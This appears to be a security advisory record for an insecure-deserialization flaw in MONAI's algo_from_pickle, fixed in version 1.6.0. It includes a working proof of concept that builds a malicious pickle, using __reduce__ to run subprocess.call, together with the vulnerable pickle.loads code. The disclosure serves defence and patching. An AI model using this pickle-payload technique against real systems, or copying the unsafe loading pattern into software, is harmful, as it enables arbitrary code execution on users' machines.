Read the docs
TI-2026-66528 Aliases GHSA-89gg-p5r5-q6r4

MONAI: Unsafe functions lead to pickle deserialization rce

Priority LOW 38CWE-502Published · Updated

Key facts

Attack vector
—
Privileges required
—
User interaction
—
Attack complexity
—
Impact type
Code execution
Confidentiality · integrity · availability
—
Fix status
Fixed

No CVSS vector from any source. Fix status from GitHub. Impact type from CWE-502.

Summary

### Summary The `algo_from_pickle` function in `monai/auto3dseg/utils.py` causes `pickle.loads(data_bytes)` to be executed, and it does not perform any validation on the input parameters. This ultimately leads to insecure deserialization and can result in code execution vulnerabilities. ### Details poc ``` import pickle import subprocess class MaliciousAlgo: def __reduce__(self): return (subprocess.call, (['calc.exe'],)) malicious_algo_bytes = pickle.dumps(MaliciousAlgo()) attack_data = { "algo_bytes": malicious_algo_bytes, } attack_pickle_file = "attack_algo.pkl" with open(attack_pickle_file, "wb") as f: f.write(pickle.dumps(attack_data)) ``` Generate the malicious file "attack_algo.pkl" through POC. ``` from monai.auto3dseg.utils import algo_from_pickle attack_pickle_file = "attack_algo.pkl" result = algo_from_pickle(attack_pickle_file) ``` Ultimately, it will trigger pickle.load through a file to identify the command execution. <img width="909" height="534" alt="image" src="https://github.com/user-attachments/assets/071adbb7-3e40-4651-be48-abd2ce32470f" /> Causes of the vulnerability: ``` def algo_from_pickle(pkl_filename: str, template_path: PathLike | None = None, **kwargs: Any) -> Any: with open(pkl_filename, "rb") as f_pi: data_bytes = f_pi.read() data = pickle.loads(data_bytes) ``` ### Impact Arbitrary code execution Repair suggestions Verify the data source and content before deserializing, or use a safe deserialization method

Why it matters now

Fix Fixed monai (PyPI): 1.6.0

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—monai (PyPI)before 1.6.01.6.0Patch availableGHSA-89gg-p5r5-q6r4
  • monai (PyPI) Vendor— Affected before 1.6.0 Fixed in 1.6.0 Patch available GHSA-89gg-p5r5-q6r4

Remediation

  • Fix · GHSA-89gg-p5r5-q6r4 monai (PyPI) Fixed in 1.6.0 Advisory →

Timeline

  1. 2026-10-03 Threatist record created from GHSA-89gg-p5r5-q6r4

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences